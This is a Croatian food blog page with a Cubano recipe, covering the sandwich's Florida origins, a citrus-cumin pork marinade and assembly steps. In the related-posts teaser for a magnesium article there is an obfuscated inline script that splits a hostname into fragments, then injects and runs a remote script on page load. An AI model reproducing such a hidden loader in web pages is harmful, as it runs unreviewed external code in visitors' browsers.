KUBANSKI SENDVIČ SA SOČNOM SVINJETINOM





Kubanski sendvič sa sočnom svinjetinom 



Kubanski sendvič, poznat i kao Cubano, jedan je od najpoznatijih sendviča kubansko-američke kuhinje. Iako po nazivu ne bi trebalo biti dileme gdje je nastao, smatra se kako je kolijevka Cubana zapravo Florida - preciznije gradovi poput Tampe i Key Westa - gdje su krajem 19. i početkom 20. stoljeća živjele velike zajednice kubanskih imigranata. U to vrijeme putovanja između Kube i Floride bila su česta, posebno među radnicima u industriji cigara, pa su se recepti, ideje i kulinarske navike prenosile s jedne strane na drugu.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Kubanski sendvič sa sočnom svinjetinom 


Sastojci:

  • 450 g svinjskog filea
  • 8 peciva
  • oko 3 žlice dijon senfa
  • 8 kriški sira
  • oko 140 g kiselih krastavaca, narezanih
  • 8 kriški šunke
  • malo maslaca za premazivanje kruha

Za meso:

  • sol i svježe mljeveni crni papar
  • sok i naribana korica ½ naranče
  • sok 1 limete
  • 3 češnja češnjaka, sitno nasjeckana
  • ½ žličice mljevenog kumina
  • ½ žličice sušenog origana
  • ½ žličice mljevene dimljene paprike
  • ⅛ žličice čili pahuljica
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Priprema:

  1. Svinjski file posolite i popaprite sa svih strana. U zdjeli pomiješajte sok i koricu naranče, sok limete, nasjeckani češnjak, kumin, origano, dimljenu papriku i čili pahuljice. U marinadu stavite svinjetinu i dobro je utrljajte sa svih strana. Ostavite da se marinira najmanje jedan sat, a može i do 24 sata. Prije pečenja izvadite meso iz hladnjaka oko 30 minuta ranije kako bi se zagrijalo na sobnu temperaturu.
  2. Svinjetinu pecite na roštilju, u grill tavi ili u običnoj tavi na srednje jakoj vatri oko 7 do 10 minuta sa svake strane, dok ne bude lijepo zapečena i dok unutarnja temperatura ne dosegne oko 63 °C. Kada je gotova, premjestite je na tanjur, pokrijte i ostavite desetak minuta da odmori, zatim je narežite na tanke ploške.
  3. Peciva prerežite vodoravno na pola i vanjske strane lagano premažite maslacem. Na unutarnju stranu kruha namažite senf. Na donju polovicu složite krišku sira, nekoliko kriški kiselih krastavaca, šunku, zatim narezanu svinjetinu i još jednu krišku sira. Poklopite gornjim dijelom kruha.
  4. Sendviče pecite u zagrijanoj panini preši ili u vrućoj tavi, pritiskajući ih teškom tavom ili utegom, dok kruh ne postane zlatno hrskav, a sir se ne rastopi. Poslužite dok su još topli.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više